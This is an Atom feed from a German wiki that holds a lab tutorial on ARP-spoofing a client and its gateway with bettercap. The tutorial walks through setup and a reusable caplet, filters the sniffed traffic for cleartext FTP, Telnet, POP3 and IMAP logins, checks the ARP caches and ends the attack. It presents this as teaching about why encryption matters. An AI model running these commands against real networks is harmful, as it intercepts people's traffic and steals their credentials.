<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://xinux.net/index.php?action=history&amp;feed=atom&amp;title=Arpspoofing_mit_Bettercap_Gateway_vorgauckeln</id>
	<title>Arpspoofing mit Bettercap Gateway vorgauckeln - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://xinux.net/index.php?action=history&amp;feed=atom&amp;title=Arpspoofing_mit_Bettercap_Gateway_vorgauckeln"/>
	<link rel="alternate" type="text/html" href="https://xinux.net/index.php?title=Arpspoofing_mit_Bettercap_Gateway_vorgauckeln&amp;action=history"/>
	<updated>2026-08-23T16:05:40Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://xinux.net/index.php?title=Arpspoofing_mit_Bettercap_Gateway_vorgauckeln&amp;diff=72944&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „=Bettercap: MITM zwischen Client und Gateway=  =Szenario= *CLIENT=10.0.10.104 *GATEWAY=10.0.10.1 *INTERFACE=eth0  Der Angreifer schaltet sich per ARP-Spoofing…“</title>
		<link rel="alternate" type="text/html" href="https://xinux.net/index.php?title=Arpspoofing_mit_Bettercap_Gateway_vorgauckeln&amp;diff=72944&amp;oldid=prev"/>
		<updated>2026-08-20T14:19:56Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „=Bettercap: MITM zwischen Client und Gateway=  =Szenario= *CLIENT=10.0.10.104 *GATEWAY=10.0.10.1 *INTERFACE=eth0  Der Angreifer schaltet sich per ARP-Spoofing…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;=Bettercap: MITM zwischen Client und Gateway=&lt;br /&gt;
&lt;br /&gt;
=Szenario=&lt;br /&gt;
*CLIENT=10.0.10.104&lt;br /&gt;
*GATEWAY=10.0.10.1&lt;br /&gt;
*INTERFACE=eth0&lt;br /&gt;
&lt;br /&gt;
Der Angreifer schaltet sich per ARP-Spoofing zwischen den CLIENT und das GATEWAY.&lt;br /&gt;
Damit laeuft der gesamte Verkehr, den der CLIENT ins Internet oder in andere Netze&lt;br /&gt;
schickt, ueber den Angreifer. Das ist der klassische Fall zum Abhoeren des&lt;br /&gt;
Internet-Verkehrs eines einzelnen Opfers.&lt;br /&gt;
&lt;br /&gt;
=Benoetigtes Paket=&lt;br /&gt;
*apt-get install bettercap&lt;br /&gt;
&lt;br /&gt;
=Angriff auf dem Angreifer=&lt;br /&gt;
*bettercap -iface eth0&lt;br /&gt;
&lt;br /&gt;
;Im bettercap-Prompt:&lt;br /&gt;
*set arp.spoof.targets 10.0.10.104&lt;br /&gt;
*set arp.spoof.fullduplex true&lt;br /&gt;
*set net.sniff.filter &amp;quot;tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143&amp;quot;&lt;br /&gt;
*net.probe on&lt;br /&gt;
*arp.spoof on&lt;br /&gt;
*net.sniff on&lt;br /&gt;
&lt;br /&gt;
=Optionen=&lt;br /&gt;
 -iface eth0              =  Interface&lt;br /&gt;
 arp.spoof.targets        =  das Opfer (CLIENT); das Gateway ergibt sich automatisch&lt;br /&gt;
 arp.spoof.fullduplex     =  beide Richtungen vergiften (CLIENT und GATEWAY)&lt;br /&gt;
 net.sniff.filter         =  nur die Klartext-Dienste anzeigen (BPF-Filter wie bei tcpdump)&lt;br /&gt;
 net.probe on             =  ARP-Cache vorab fuellen, damit die MACs bekannt sind&lt;br /&gt;
 arp.spoof on             =  ARP-Spoofing starten&lt;br /&gt;
 net.sniff on             =  Mitschnitt starten&lt;br /&gt;
&lt;br /&gt;
;Anders als bei der Host-zu-Host-Variante wird hier arp.spoof.internal NICHT&lt;br /&gt;
;gebraucht: das Ziel ist die Strecke CLIENT-GATEWAY, und die vergiftet bettercap&lt;br /&gt;
;standardmaessig. arp.spoof.internal ist nur noetig, wenn zwei interne Hosts&lt;br /&gt;
;untereinander abgehoert werden sollen.&lt;br /&gt;
&lt;br /&gt;
;Der Filter net.sniff.filter blendet allen uebrigen Verkehr aus, damit die&lt;br /&gt;
;Klartext-Logins nicht im Rauschen untergehen. Ohne ihn funktioniert der Angriff&lt;br /&gt;
;genauso, man sieht nur mehr. Die Ports:&lt;br /&gt;
 21   FTP     Login + Passwort im Klartext&lt;br /&gt;
 23   Telnet  komplette Sitzung im Klartext&lt;br /&gt;
 80   HTTP    unverschluesselter Web-Verkehr&lt;br /&gt;
 110  POP3    Login + Passwort im Klartext&lt;br /&gt;
 143  IMAP    Login + Passwort im Klartext&lt;br /&gt;
&lt;br /&gt;
;IP-Forwarding muss nicht von Hand gesetzt werden - bettercap leitet die Pakete&lt;br /&gt;
;selbst weiter, sobald arp.spoof laeuft.&lt;br /&gt;
&lt;br /&gt;
=Als Caplet (reproduzierbar)=&lt;br /&gt;
;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,&lt;br /&gt;
;damit man sie nicht jedes Mal von Hand tippt.&lt;br /&gt;
*vim seclab-c2g.cap:&lt;br /&gt;
 net.probe on&lt;br /&gt;
 set arp.spoof.targets 10.0.10.104&lt;br /&gt;
 set arp.spoof.fullduplex true&lt;br /&gt;
 set net.sniff.filter &amp;quot;tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143&amp;quot;&lt;br /&gt;
 arp.spoof on&lt;br /&gt;
 net.sniff on&lt;br /&gt;
&lt;br /&gt;
;Start:&lt;br /&gt;
*bettercap -iface eth0 -caplet seclab-c2g.cap&lt;br /&gt;
&lt;br /&gt;
=Nachweis auf dem CLIENT=&lt;br /&gt;
;Im ARP-Cache steht fuer das GATEWAY die MAC-Adresse des Angreifers&lt;br /&gt;
*arp -n | grep 10.0.10.1&lt;br /&gt;
 10.0.10.1     ether   &amp;lt;MAC-der-kali-innen&amp;gt;   C   eth0&lt;br /&gt;
&lt;br /&gt;
=Nachweis auf dem GATEWAY=&lt;br /&gt;
;Im ARP-Cache steht fuer den CLIENT dieselbe MAC-Adresse&lt;br /&gt;
*arp -n | grep 10.0.10.104&lt;br /&gt;
 10.0.10.104   ether   &amp;lt;MAC-der-kali-innen&amp;gt;   C   eth0&lt;br /&gt;
&lt;br /&gt;
;Beide Seiten tragen fuer unterschiedliche IPs dieselbe MAC ein - das ist der Beleg&lt;br /&gt;
;fuer den laufenden MITM.&lt;br /&gt;
&lt;br /&gt;
=Was jetzt sichtbar wird=&lt;br /&gt;
;Der gesamte Verkehr des CLIENT laeuft ueber den Angreifer. Die Klartext-Dienste&lt;br /&gt;
;erscheinen im net.sniff-Mitschnitt. HTTPS, SSH und andere verschluesselte Dienste&lt;br /&gt;
;laufen zwar ebenfalls ueber den Angreifer, sind aber nicht im Klartext lesbar.&lt;br /&gt;
;Genau das ist die Lehre: MITM funktioniert weiterhin, aber Verschluesselung&lt;br /&gt;
;entwertet den Mitschnitt.&lt;br /&gt;
&lt;br /&gt;
=Angriff beenden=&lt;br /&gt;
;Im bettercap-Prompt:&lt;br /&gt;
*arp.spoof off&lt;br /&gt;
*q&lt;br /&gt;
&lt;br /&gt;
;arp.spoof off schickt korrekte ARP-Antworten (re-ARP), damit die ARP-Caches von&lt;br /&gt;
;CLIENT und GATEWAY wieder auf die echten MAC-Adressen zeigen und das Opfer normal&lt;br /&gt;
;weiterarbeiten kann.&lt;br /&gt;
&lt;br /&gt;
=Weiterfuehrende Angriffe=&lt;br /&gt;
*[[Ngrep]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>